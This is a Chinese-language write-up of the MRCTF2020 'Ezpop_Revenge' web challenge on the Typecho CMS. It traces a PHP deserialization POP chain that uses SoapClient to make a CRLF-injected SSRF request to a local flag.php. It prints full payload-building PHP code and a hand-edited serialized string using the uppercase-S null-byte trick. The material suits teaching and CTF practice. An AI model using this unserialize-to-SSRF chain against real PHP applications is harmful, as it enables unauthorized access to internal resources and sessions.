题目介绍
首先这是一个typecho的框架
然后通过扫目录得到www.zip源码泄露,然后就是审计代码了~~
解题过程
首先我们找到输入点
在插件中,我们发现action()的代码
这儿需要说明一下,这儿的action一般是自动加载的,当路由加载类是会自动加载某个函数,所以我们直接搜索这个类得名称~~
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
这句代码的意思就是访问/page_admin的时候,会自动加载HelloWorld_Plugin类,而且会自动调用action函数,所以我们输入点的路由为/page_admin
寻找pop链
在根目录下有flag文件
很明显的ssrf,结合输入点的反序列化,我们直接想到soap的ssrf
当访问后,会自动把flag写进访问的session中
usr下面的Plugin.php中有一个类
我们跟进Typecho_Db
然后在Typecho_Db的__construct中发现字符串拼接,这个时候我们就知道肯定实调用某个类的__tostring,因为$adapterName我们可控
所以我们直接搜索__tostring
然后跟踪到Query.php的__tostring
假如Typecho_Db::SELECT(静态值)的值为SELECT,则跟进$this->_adapter
我们发现这个值我们也是可控的,这个时候我们控制_adapter为soap类就可以了~~
这是时候梳理一下pop链
首先时/usr下的Plugins.php反序列化调用HelloWorld_DB触发Typecho_Db类,并且可以控制其中的$adapterName
$adapterName拼接到字符串中,触发__tostring,所以这个时候我们使得$adapterName为Query.php中的Typecho_Db_Query类,并且控制私有变量$_adapter为soap类来本地访问flag.php
这个时候再访问soap的parseSelect方法,但是此方法并不存在,所以就会触发soap的__call方法来打到本地访问的目的
payload:
class Typecho_Db_Query
{
private $_sqlPreBuild;
private $_adapter;
public function __construct()
{
$target = 'http://127.0.0.1/flag.php';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=a8vkg6l5j5sesvqan5q5s4obr1'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'HyyMbb^^'.join('^^',$headers),'uri' => "aaab"));
$this->_sqlPreBuild =array("action"=>"SELECT");
$this->_adapter = $b;
}
}
class HelloWorld_DB
{
private $coincidence;
public function __construct()
{
$this->coincidence = ["hello" => new Typecho_Db_Query()];
}
}
$a = new HelloWorld_DB();
$aaa = serialize($a);
这个时候先生成序列化的值,然后再做一些小处理
我们都知道私有变量类名的前后都有%00,但是某些特定版本的情况下,这样也会出错
这个时候我们需要将s改为S,并添加0
如同这个样子
$aaa = 'O:13:"HelloWorld_DB":1:{S:26:"0HelloWorld_DB0coincidence";a:1:{s:5:"hello";O:16:"Typecho_Db_Query":2:{S:30:"0Typecho_Db_Query0_sqlPreBuild";a:1:{s:6:"action";s:6:"SELECT";}S:26:"0Typecho_Db_Query0_adapter";O:10:"SoapClient":5:{s:3:"uri";s:4:"aaab";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:79:"wupco^^X-Forwarded-For: 127.0.0.1^^Cookie: PHPSESSID=a8vkg6l5j5sesvqan5q5s4obr1";s:13:"_soap_version";i:1;}}}}';
然后再添加rn,base64编码
$aaa = str_replace('^^',"rn",$aaa);
$aaa = str_replace('&','&',$aaa);
echo base64_encode($aaa);
我们soap访问的PHPSESSID的值为a8vkg6l5j5sesvqan5q5s4obr1
这个时候访问/page_admin页面
然后更换PHPSESSID
得到flag
写在最后,再说一下为啥要更换s,和添加0,而不是直接编码
都知道private属性会在反序列化的生成一个标志性的%00,关于这个坑点p神是这么说的
PHP序列化的时候private和protected变量会引入不可见字符x00,输出和复制的时候可能会遗失这些信息,导致反序列化的时候出错。
private属性序列化的时候会引入两个x00,注意这两个x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,如图1,url编码后就可以看得很清楚了。
同理,protected属性会引入x00*x00。
此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。比如s:5:”A<null_byte>B“;̀ -> S:5:”A0B9D”;
原文来自CSDN博主「HyyMbb」|侵删


原文始发于微信公众号(寰宇卫士):MRCTF2020 web Ezpop_Revenge-解题步骤详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论